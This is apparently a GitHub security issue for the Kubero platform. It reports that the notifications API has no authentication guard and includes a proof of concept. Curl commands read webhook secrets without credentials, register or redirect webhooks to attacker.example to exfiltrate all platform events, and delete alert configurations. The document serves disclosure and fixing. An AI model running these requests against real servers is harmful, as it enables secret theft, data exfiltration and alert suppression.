Unauthenticated CRUD on notification configurations exposes webhook secrets and allows event exfiltration

Which component(s) is affected?

No response

Describe the bug

Summary

Every endpoint of the Kubero notifications API (/api/notifications) is exposed without any authentication or authorization guard. An unauthenticated remote attacker can list, read, create, modify, and delete notification configurations. These configurations store webhook secrets and Slack/Discord/generic webhook URLs in cleartext, so the attacker can read those secrets directly, and can register an attacker-controlled webhook subscribed to all pipelines and all events to silently exfiltrate every platform notification (deployments, builds, security scans, audit events). The attacker can also delete existing notification configs to suppress legitimate alerting.

Every other data controller in the server enforces JwtAuthGuard (and most also enforce a PermissionsGuard). The notifications controller has no guard on any route.

Details

The controller server/src/notifications/notifications.controller.ts declares five routes and applies no @UseGuards(...) and no @Permissions(...) on any of them:

@Controller('api/notifications')
export class NotificationsController {
  @Get()
  async findAll(): Promise<ApiResponse<INotificationConfig[]>> { ... }

  @Get(':id')
  async findOne(@Param('id') id: string) { ... }

  @Post()
  async create(@Body() createNotificationDto: CreateNotificationDto) { ... }

  @Put(':id')
  async update(@Param('id') id: string, @Body() updateNotificationDto) { ... }

  @Delete(':id')
  async remove(@Param('id') id: string) { ... }
}

There is no global guard registered. server/src/main.ts calls NestFactory.create(AppModule, ...) and never registers an APP_GUARD; the project relies entirely on per-route @UseGuards(JwtAuthGuard, ...). For contrast, sibling controllers all gate their routes, for example server/src/pipelines/pipelines.controller.ts:

@Get('/')
@UseGuards(JwtAuthGuard, PermissionsGuard)
@Permissions('pipeline:read', 'pipeline:write')
async listPipelines() { ... }

and server/src/config/config.controller.ts, server/src/audit/audit.controller.ts, etc. The notifications controller is the single data controller missing this.

The stored data is sensitive. server/src/notifications/notifications-db.service.ts persists webhookSecret, webhookUrl, slackUrl, slackChannel, and discordUrl, and toNotificationConfig() returns the secret and URLs verbatim to the GET responses:

toNotificationConfig(notification: NotificationDb): INotificationConfig {
  const config: any = {};
  switch (notification.type) {
    case 'webhook':
      config.url = notification.webhookUrl;
      config.secret = notification.webhookSecret;   // secret returned to caller
      break;
    case 'slack':
      config.url = notification.slackUrl;           // Slack webhook URL is itself a secret
      config.channel = notification.slackChannel;
      break;
    case 'discord':
      config.url = notification.discordUrl;         // Discord webhook URL is itself a secret
      break;
  }
  return { id: ..., enabled: ..., name: ..., type: ..., pipelines: ..., events: ..., config };
}

The dispatch path in server/src/notifications/notifications.service.ts forwards the full event object plus the configured secret to the configured URL:

private sendWebhookNotification(message: INotification, config: INotificationWebhook) {
  fetch(config.url, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ message: message, secret: config.secret }),
  })
  ...
}

The INotification payload includes resource, action, severity, message, pipelineName, appName, and an arbitrary data field, so a webhook subscribed to pipelines: ["*"], events: ["*"] receives every platform event.

Net effect for an unauthenticated attacker:

1. GET /api/notifications reads all configured webhook secrets and Slack/Discord/webhook URLs.
2. POST /api/notifications registers an attacker-controlled webhook subscribed to all pipelines and events, silently exfiltrating all future notifications.
3. PUT /api/notifications/:id redirects an existing notification to an attacker URL.
4. DELETE /api/notifications/:id removes legitimate alerting (alert suppression).

Steps to reproduce

PoC

Target a running Kubero server (default port 2000). Authentication is enabled on the target; no token is supplied in any request below.

Read all notification configs and their secrets, with no credentials:

curl -s http://TARGET:2000/api/notifications

Register an attacker-controlled webhook that captures every platform event:

curl -s -X POST http://TARGET:2000/api/notifications \
  -H 'Content-Type: application/json' \
  -d '{"name":"attacker-exfil","enabled":true,"type":"webhook",
       "pipelines":["*"],"events":["*"],
       "config":{"url":"https://attacker.example/collect","secret":"x"}}'

Redirect or delete an existing notification:

curl -s -X PUT http://TARGET:2000/api/notifications/<id> \
  -H 'Content-Type: application/json' \
  -d '{"type":"webhook","config":{"url":"https://attacker.example/x","secret":"x"}}'

curl -s -X DELETE http://TARGET:2000/api/notifications/<id>

Observed output against a locally booted server with KUBERO_AUTHENTICATION=true (no token sent):

# POST /api/notifications  -> HTTP 201
{"success":true,"data":{"id":"cmqnhymmt003qmj01okc4udyl","enabled":true,
 "name":"attacker-exfil","type":"webhook","pipelines":["*"],"events":["*"],
 "config":{"url":"https://attacker.example/collect","secret":"S3cr3t-HMAC-key-abc123"}},
 "message":"Notification created successfully"}

# GET /api/notifications  -> HTTP 200 (secret leaked back)
{"success":true,"data":[{"id":"cmqnhymmt003qmj01okc4udyl","enabled":true,
 "name":"attacker-exfil","type":"webhook","pipelines":["*"],"events":["*"],
 "config":{"url":"https://attacker.example/collect","secret":"S3cr3t-HMAC-key-abc123"}}]}

Contrast, same unauthenticated client against guarded sibling routes:

# GET /api/pipelines/  -> HTTP 401 {"message":"Unauthorized","statusCode":401}
# GET /api/config/     -> HTTP 401 {"message":"Unauthorized","statusCode":401}

Impact

Unauthenticated broken access control (CWE-862) on a Kubernetes PaaS control plane. Any remote party who can reach the Kubero API can:

• read stored webhook secrets and Slack/Discord/webhook URLs (credential disclosure),
• silently subscribe an attacker endpoint to all pipeline, app, build, security, and audit events (sensitive operational data exfiltration),
• tamper with or delete legitimate notification routing (integrity loss and alert suppression).

The vulnerability is present even when authentication is fully enabled, because the routes carry no guard at all.

Expected behavior

Screenshots

No response

Additional information

No response

Debug information

No response

Start with server/src/notifications/notifications.controller.ts and compare its five routes with the guarded examples in server/src/pipelines/pipelines.controller.ts and server/src/config/config.controller.ts. Verify unauthenticated requests to each notification route are rejected, while authorized notification operations still work; inspect notifications-db.service.ts to ensure sensitive configuration data remains handled consistently.